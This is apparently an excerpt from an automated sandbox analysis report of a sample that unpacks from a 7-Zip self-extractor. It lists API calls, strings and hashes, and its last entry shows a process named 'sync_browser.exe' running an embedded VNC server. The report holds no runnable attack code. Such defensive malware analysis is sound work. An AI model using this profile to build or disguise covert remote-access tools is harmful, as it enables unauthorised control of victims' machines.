Function 0040CD11 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,00417010), ref: 0040CD3C
??2@YAPAXI@Z.MSVCRT(00000004,004193AC,004193AC,00000000,?,0040CE09,00000064,004107AA,004193AC,004032FF,00000000,00000000,004049F2,?,?,?), ref: 0040CD64
memcpy.MSVCRT(00000000,005F9D00,00000004,004193AC,004193AC,00000000,?,0040CE09,00000064,004107AA,004193AC,004032FF,00000000,00000000,004049F2,?), ref: 0040CD8D
??3@YAXPAX@Z.MSVCRT(005F9D00,004193AC,004193AC,00000000,?,0040CE09,00000064,004107AA,004193AC,004032FF,00000000,00000000,004049F2,?,?,?), ref: 0040CD98

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 897b2a2a9d8dc1b2bf7e5fef47a2e08c6fc8b2b3bd591012da5b500735fb1ac7
Instruction ID: d1fdfccabdcefd16927407a1053df183a81c89610647dbf5fb7e55cd38556c17
Opcode Fuzzy Hash: 897b2a2a9d8dc1b2bf7e5fef47a2e08c6fc8b2b3bd591012da5b500735fb1ac7
Instruction Fuzzy Hash: 2F11E572200300EBCB289F16D9C0D5BFFE9AF843547108A3FE559A7390D779E98547A8

Function 00408A1C Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004071BD: GetDlgItem.USER32(?,?), ref: 004071C9

Part of subcall function 004071DA: GetDlgItem.USER32(?,?), ref: 004071E7
Part of subcall function 004071DA: ShowWindow.USER32(00000000,?), ref: 004071FE

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00408A64
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 00408A84
GetDlgItem.USER32(?,000004B7), ref: 00408A97
SetWindowLongW.USER32(00000000,000000FC,Function_00007823), ref: 00408AA5

Part of subcall function 004086EB: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AB5), ref: 00408714
Part of subcall function 004086EB: LoadIconW.USER32(00000000), ref: 00408717
Part of subcall function 004086EB: GetSystemMetrics.USER32(00000032), ref: 0040872B
Part of subcall function 004086EB: GetSystemMetrics.USER32(00000031), ref: 00408730
Part of subcall function 004086EB: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AB5), ref: 00408739
Part of subcall function 004086EB: LoadImageW.USER32(00000000), ref: 0040873C
Part of subcall function 004086EB: SendMessageW.USER32(?,00000080,00000001,?), ref: 0040875C
Part of subcall function 004086EB: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408765
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B2), ref: 00408781
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B2), ref: 0040878B
Part of subcall function 004086EB: GetWindowLongW.USER32(?,000000F0), ref: 00408797
Part of subcall function 004086EB: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087A6
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B5), ref: 004087B4
Part of subcall function 004086EB: GetDlgItem.USER32(?,000004B5), ref: 004087C2
Part of subcall function 004086EB: GetWindowLongW.USER32(?,000000F0), ref: 004087CE
Part of subcall function 004086EB: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087DD

Part of subcall function 00407B90: GetDlgItem.USER32(?,000004B6), ref: 00407B9D
Part of subcall function 00407B90: SetFocus.USER32(00000000,?,?,00407C84,000004B6,?), ref: 00407BA4

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: 10e1b547bcbc61deca10da6efc8ae89d0555480e65f43c52d8748ed5732768f8
Instruction ID: 5c7c764d92766e680c666047e1d2b266a9282aef260ce17b2660fed0a98cdec4
Opcode Fuzzy Hash: 10e1b547bcbc61deca10da6efc8ae89d0555480e65f43c52d8748ed5732768f8
Instruction Fuzzy Hash: 62118672E40314ABCB10EBA9DC09FDE77BCEB84714F10446BB652E72D0DAB8A9018B54

Function 0040709B Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 004070C2
GetSystemMetrics.USER32(00000031), ref: 004070E8
CreateFontIndirectW.GDI32(?), ref: 004070F7
DeleteObject.GDI32(00000000), ref: 00407126

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 10c1999775b064906eaa368cc7bf841ba5ce139f6ebf31b08def3ab2d55476d3
Instruction ID: 550de309380991ebf2cc5542bfcce979d3dc35c4f0fc859f263023f0ef030489
Opcode Fuzzy Hash: 10c1999775b064906eaa368cc7bf841ba5ce139f6ebf31b08def3ab2d55476d3
Instruction Fuzzy Hash: E4112475A00205EFDB109F94DC88BEA77B8EB44300F0081AAE915A7391DB74AD44CF94

Function 00408576 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 004085B0
GetClientRect.USER32(?,?), ref: 004085C2
PtInRect.USER32(?,?,?), ref: 004085D1

Part of subcall function 00407FD8: KillTimer.USER32(?,00000001,?,004085E6), ref: 00407FE6

CallNextHookEx.USER32(?,?,?), ref: 004085F3

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 95547b2fb33734e722a1f749a8458f3d385d37bb62c57a358e3a5d7a24cb2da3
Instruction ID: e461164be05bcb912302e6f3c507a6476d35c8a33c6b54d2dcb30444e6ba8619
Opcode Fuzzy Hash: 95547b2fb33734e722a1f749a8458f3d385d37bb62c57a358e3a5d7a24cb2da3
Instruction Fuzzy Hash: 53018732110109EBDB15AF65DE44AEA7BA6BB18340B04803EE946A62A1DB34EC01DB49

Function 0040411C Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004030EA: GetWindowTextLengthW.USER32(?), ref: 004030FB
Part of subcall function 004030EA: GetWindowTextW.USER32(t1@,00000000,00000001), ref: 00403118

??3@YAXPAX@Z.MSVCRT(?,?,?,00415778,00415780), ref: 00404168
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00415778,00415780), ref: 00404170
SetWindowTextW.USER32(?,?), ref: 0040417D
??3@YAXPAX@Z.MSVCRT(?), ref: 00404188

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: a65fd38771d47db4a5adb3f7e2ba21dcddc91d0fba744515c2fd594643e60546
Instruction ID: 4b6459f0461bbe798f755719163b862091937496e8852bb980e1e24ac321b0cc
Opcode Fuzzy Hash: a65fd38771d47db4a5adb3f7e2ba21dcddc91d0fba744515c2fd594643e60546
Instruction Fuzzy Hash: 88F0FF72D00108BACF01BBA1DD47CDE7B78AF18349F50406AF515721A1EA359B959B98

Function 00407916 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00407931
CreateFontIndirectW.GDI32(?), ref: 00407947
GetDlgItem.USER32(?,000004B5), ref: 0040795B
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 00407967

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: bf1836fc2c99b432ae984c5376e55d25bfda714a933e933cbe8faf723434fd17
Instruction ID: 7a034716ce128e2868931ba3036e49d2ca07d686104c333d304994eb71a954cf
Opcode Fuzzy Hash: bf1836fc2c99b432ae984c5376e55d25bfda714a933e933cbe8faf723434fd17
Instruction Fuzzy Hash: B4F05476900704EBE7205BA4DD49FCB7BADAB88B01F108135F911F52D4DBB4E4018B69

Function 00401D8D Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00401D92
GetWindowRect.USER32(?,?), ref: 00401DAB
ScreenToClient.USER32(00000000,?), ref: 00401DB9
ScreenToClient.USER32(00000000,?), ref: 00401DC0

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: 373e5a3a3c618f7341f086d59bc570b4278045b0fb2d4c8362c44c34085ab298
Instruction ID: c9a7d6158b24b89f480d793c87918ffc8905022d7cd2aff0562fad3402b16060
Opcode Fuzzy Hash: 373e5a3a3c618f7341f086d59bc570b4278045b0fb2d4c8362c44c34085ab298
Instruction Fuzzy Hash: 6BE08C73604226ABD7109BA6FC88CCBBFADEFD5762700447AF945A2220C7349C109AB5

Function 00411F01 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 480COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?,00000000), ref: 0041212C

Strings

{D@, xrefs: 00411FD8, 00411FEF, 00412002, 00412187, 00412197, 00412276
(nA, xrefs: 00411F5C

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@
String ID: (nA${D@
API String ID: 613200358-2741945119
Opcode ID: 295e2b9914260187c8108fb23f9c7c95c3fe5021d1292d3f98e2afc996a1852c
Instruction ID: 2f127b0a99b440bb22087229e66332d50aa0d3dd2037016e8eed2c3918cb49fd
Opcode Fuzzy Hash: 295e2b9914260187c8108fb23f9c7c95c3fe5021d1292d3f98e2afc996a1852c
Instruction Fuzzy Hash: 8C222771900248DFCB24EF65C9909EEBBB5FF08304F50452FE92A97261DB78A995CF48

Function 00411C05 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 0041156F: ??2@YAPAXI@Z.MSVCRT(0000000C,000000FF,00411D35,00416DD8,00000001,?,?,00000000), ref: 00411574

??3@YAXPAX@Z.MSVCRT(00000000,00416DD8,00000001,?,?,00000000), ref: 00411D36

Part of subcall function 0040E036: ??2@YAPAXI@Z.MSVCRT(?,?,?,?,00410D1B,00010000), ref: 0040E049
Part of subcall function 0040E036: memmove.MSVCRT(00000000,?,?,?,?,?,00410D1B,00010000), ref: 0040E063
Part of subcall function 0040E036: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,00410D1B,00010000), ref: 0040E073

??2@YAPAXI@Z.MSVCRT(00000014,00000000,00416DD8,00000001,?,?,00000000), ref: 00411D6E

Strings

{D@, xrefs: 00411C15, 00411C44, 00411C56

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??2@$??3@$memmove
String ID: {D@
API String ID: 4294387087-1160549682
Opcode ID: a10cea0c6081034431b1deab0df680eb74f764079fba132a1b5611795ca3c1c0
Instruction ID: 87b977b41272fa9bbbce8bbb083323c071bac7afc4455a16ffe75f8a4777ec8d
Opcode Fuzzy Hash: a10cea0c6081034431b1deab0df680eb74f764079fba132a1b5611795ca3c1c0
Instruction Fuzzy Hash: 77B1C471900249DFCB14EFAAD8919DDBBB5FF08304F60412EF919A7261DB38A985CF94

Function 004042EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00404310

Strings

GUIFlags, xrefs: 004042EF
^L@, xrefs: 004042EB, 0040430F

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: _wtol
String ID: GUIFlags$^L@
API String ID: 2131799477-2609156739
Opcode ID: e0faa47fc13e94c2d05b586c97962676ef04bd2d394cb045c4af41830da04771
Instruction ID: e071545e6e42b97a6ff0e24219ab621184b159c44f090b8d4e9d319f90212361
Opcode Fuzzy Hash: e0faa47fc13e94c2d05b586c97962676ef04bd2d394cb045c4af41830da04771
Instruction Fuzzy Hash: 02F04FB521412386D7342A0995103F7B298EBD47A2FD46437EFC3A21D0C37C4C83926D

Function 00407EBA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00407EEF
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00407F17

Strings

(%d%s), xrefs: 00407EE9

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 4b7a2db08cb0ab3113720472f879d4b427a226093fb12d19f20ff2d4f109d252
Instruction ID: 7ae1222ccb27522ee32bda146f0754d3921d44b98735208d9557fe66e55c1055
Opcode Fuzzy Hash: 4b7a2db08cb0ab3113720472f879d4b427a226093fb12d19f20ff2d4f109d252
Instruction Fuzzy Hash: 2FF09671D00218BFDF21BB55DC46EDEB778EF00308F1081BBB552B15E2DA75AA44CA98

Function 004030EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004030FB
GetWindowTextW.USER32(t1@,00000000,00000001), ref: 00403118

Strings

t1@, xrefs: 00403114

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: TextWindow$Length
String ID: t1@
API String ID: 1006428111-473456572
Opcode ID: 770e83b9f0c32e4245ab616387d543652a3c08b12fa38d930e4381d9e86358fe
Instruction ID: 8fdd6815b78bf9020f8e78ba054009a9d995117c016d7113bd8aebbbabd1b082
Opcode Fuzzy Hash: 770e83b9f0c32e4245ab616387d543652a3c08b12fa38d930e4381d9e86358fe
Instruction Fuzzy Hash: 6FE06D3A204612AFC311AF19D84486FBBBAFFD4311B00447AF841D72A1CB34DC158B90

Function 00404464 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 00404472

Strings

7-Zip SFX, xrefs: 00404466
Could not allocate memory, xrefs: 0040446B

Memory Dump Source

Source File: 00000000.00000002.3170223790.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3170181376.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170279666.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170324078.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3170357444.000000000041C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Olz7TmvkEW.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 8699b6ad29452df4a4c5f53a165df2ad6c674eb36ff819cd2e24d1ff3847e891
Instruction ID: 20c12d322158c288d9879b49a54fb0f602392e899c52d42c128a52a7ce83e7b7
Opcode Fuzzy Hash: 8699b6ad29452df4a4c5f53a165df2ad6c674eb36ff819cd2e24d1ff3847e891
Instruction Fuzzy Hash: 79B012703C130C75D50003608C07FC010400B48F03F130412B924E80C1D5E480D0700C

Analysis Process: sync_browser.exePID: 2044, Parent PID: 5472COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.2%
Total number of Nodes:	1068
Total number of Limit Nodes:	28

Executed Functions

Function 00007FF7E50936D0 Relevance: 98.9, APIs: 31, Strings: 25, Instructions: 895
librarythreadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00007FF7E509371A
GetCurrentThreadId.KERNEL32 ref: 00007FF7E5093764
GetThreadDesktop.USER32 ref: 00007FF7E509376C
_snprintf.LIBCMT ref: 00007FF7E5093820
free.LIBCMT ref: 00007FF7E5093862
free.LIBCMT ref: 00007FF7E509386F
SleepEx.KERNELBASE ref: 00007FF7E50938D5
timeGetTime.WINMM ref: 00007FF7E5093A99
EnterCriticalSection.KERNEL32 ref: 00007FF7E5093ADF
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5093B11
GetComputerNameA.KERNEL32 ref: 00007FF7E5093BDC
gethostname.WS2_32 ref: 00007FF7E5093C8D
EnterCriticalSection.KERNEL32 ref: 00007FF7E5093F3D
CreateRectRgn.GDI32 ref: 00007FF7E5093F70
DeleteObject.GDI32 ref: 00007FF7E5093F9B
free.LIBCMT ref: 00007FF7E5093FA5
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5093FAE

Part of subcall function 00007FF7E5107D90: EnterCriticalSection.KERNEL32(?,?,?,00007FF7E5093FBC), ref: 00007FF7E5107DA1
Part of subcall function 00007FF7E5107D90: SetThreadPriority.KERNEL32(?,?,?,00007FF7E5093FBC), ref: 00007FF7E5107DD5
Part of subcall function 00007FF7E5107D90: GetLastError.KERNEL32(?,?,?,00007FF7E5093FBC), ref: 00007FF7E5107DDF

GetTickCount.KERNEL32 ref: 00007FF7E50941B3

Part of subcall function 00007FF7E50DA5B0: GetCurrentThreadId.KERNEL32 ref: 00007FF7E50DA5E1
Part of subcall function 00007FF7E50DA5B0: GetThreadDesktop.USER32 ref: 00007FF7E50DA5E9
Part of subcall function 00007FF7E50DA5B0: OpenInputDesktop.USER32 ref: 00007FF7E50DA5FC

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
CloseDesktop.USER32 ref: 00007FF7E5097C4A
Sleep.KERNEL32 ref: 00007FF7E5097C8F
FlushFileBuffers.KERNEL32 ref: 00007FF7E5097CBC
CloseHandle.KERNEL32 ref: 00007FF7E5097CE6
FlushFileBuffers.KERNEL32 ref: 00007FF7E5097D1E
CloseHandle.KERNEL32 ref: 00007FF7E5097D48
CloseDesktop.USER32 ref: 00007FF7E5097D9D
GetModuleFileNameA.KERNEL32 ref: 00007FF7E5097E0B
LoadLibraryA.KERNEL32 ref: 00007FF7E5097E5D

Part of subcall function 00007FF7E50DA3B0: GetCurrentThreadId.KERNEL32 ref: 00007FF7E50DA3E3
Part of subcall function 00007FF7E50DA3B0: GetThreadDesktop.USER32 ref: 00007FF7E50DA3EB
Part of subcall function 00007FF7E50DA3B0: GetUserObjectInformationA.USER32 ref: 00007FF7E50DA411

GetProcAddress.KERNEL32 ref: 00007FF7E5097E75
FreeLibrary.KERNEL32 ref: 00007FF7E5097E97

Strings

vncservice.cpp : SelectDesktop failed to close desktop, xrefs: 00007FF7E5097C54
LOGEXIT, xrefs: 00007FF7E5097E6B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncclient.cpp : authenticated connection, xrefs: 00007FF7E5093A76
vncclient.cpp : client connected : %s (%hd), xrefs: 00007FF7E509374A
- , xrefs: 00007FF7E5093D62
Could not connect using %s!, xrefs: 00007FF7E50937F5
vncclient.cpp : PostAddNewClient I, xrefs: 00007FF7E5093932
vncservice.cpp : PostAddNewClient failed, xrefs: 00007FF7E50939CA
vncclient.cpp : PostAddNewClient II, xrefs: 00007FF7E5097F29
vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncclient.cpp : failed to close desktop, xrefs: 00007FF7E5097DA7
( , xrefs: 00007FF7E5093CF4
WinVNC, xrefs: 00007FF7E5093C5C
Could not connect to %s!, xrefs: 00007FF7E509380D
vncservice.cpp : OpenInputdesktop2 , xrefs: 00007FF7E5097C66
\logging.dll, xrefs: 00007FF7E5097E38
vncclient.cpp : sent pixel format to client, xrefs: 00007FF7E5093EF5
Host name unavailable, xrefs: 00007FF7E5093CA1
vncclient.cpp : negotiated version, xrefs: 00007FF7E50939F9
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
application mode, xrefs: 00007FF7E5093DA2
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029
vncclient.cpp : client disconnected : %s (%hd), xrefs: 00007FF7E5097DE6
service mode, xrefs: 00007FF7E5093D82

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseCriticalSection$CurrentEnterFilefree$BuffersErrorFlushHandleInputLeaveLibraryNameObjectOpenSleep$AddressComputerCountCreateDeleteFreeInformationLastLoadModeModulePriorityProcRectTickTimeUser_snprintfgethostnametime
String ID: ( $ - $Could not connect to %s!$Could not connect using %s!$Host name unavailable$LOGEXIT$WinVNC$\logging.dll$application mode$service mode$vncclient.cpp : PostAddNewClient I$vncclient.cpp : PostAddNewClient II$vncclient.cpp : authenticated connection$vncclient.cpp : client connected : %s (%hd)$vncclient.cpp : client disconnected : %s (%hd)$vncclient.cpp : failed to close desktop$vncclient.cpp : negotiated version$vncclient.cpp : sent pixel format to client$vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : PostAddNewClient failed$vncservice.cpp : SelectDesktop $vncservice.cpp : SelectDesktop failed to close desktop
API String ID: 459429253-3399855497
Opcode ID: d910fd2d2387e2035f705f97629f63b5daf9f0bcc88dd8988d1e93384b6c5770
Instruction ID: d5e7944a8354691b301445e8c2ecfdb683845367cad1f6c0c80ec2d012ae07ff
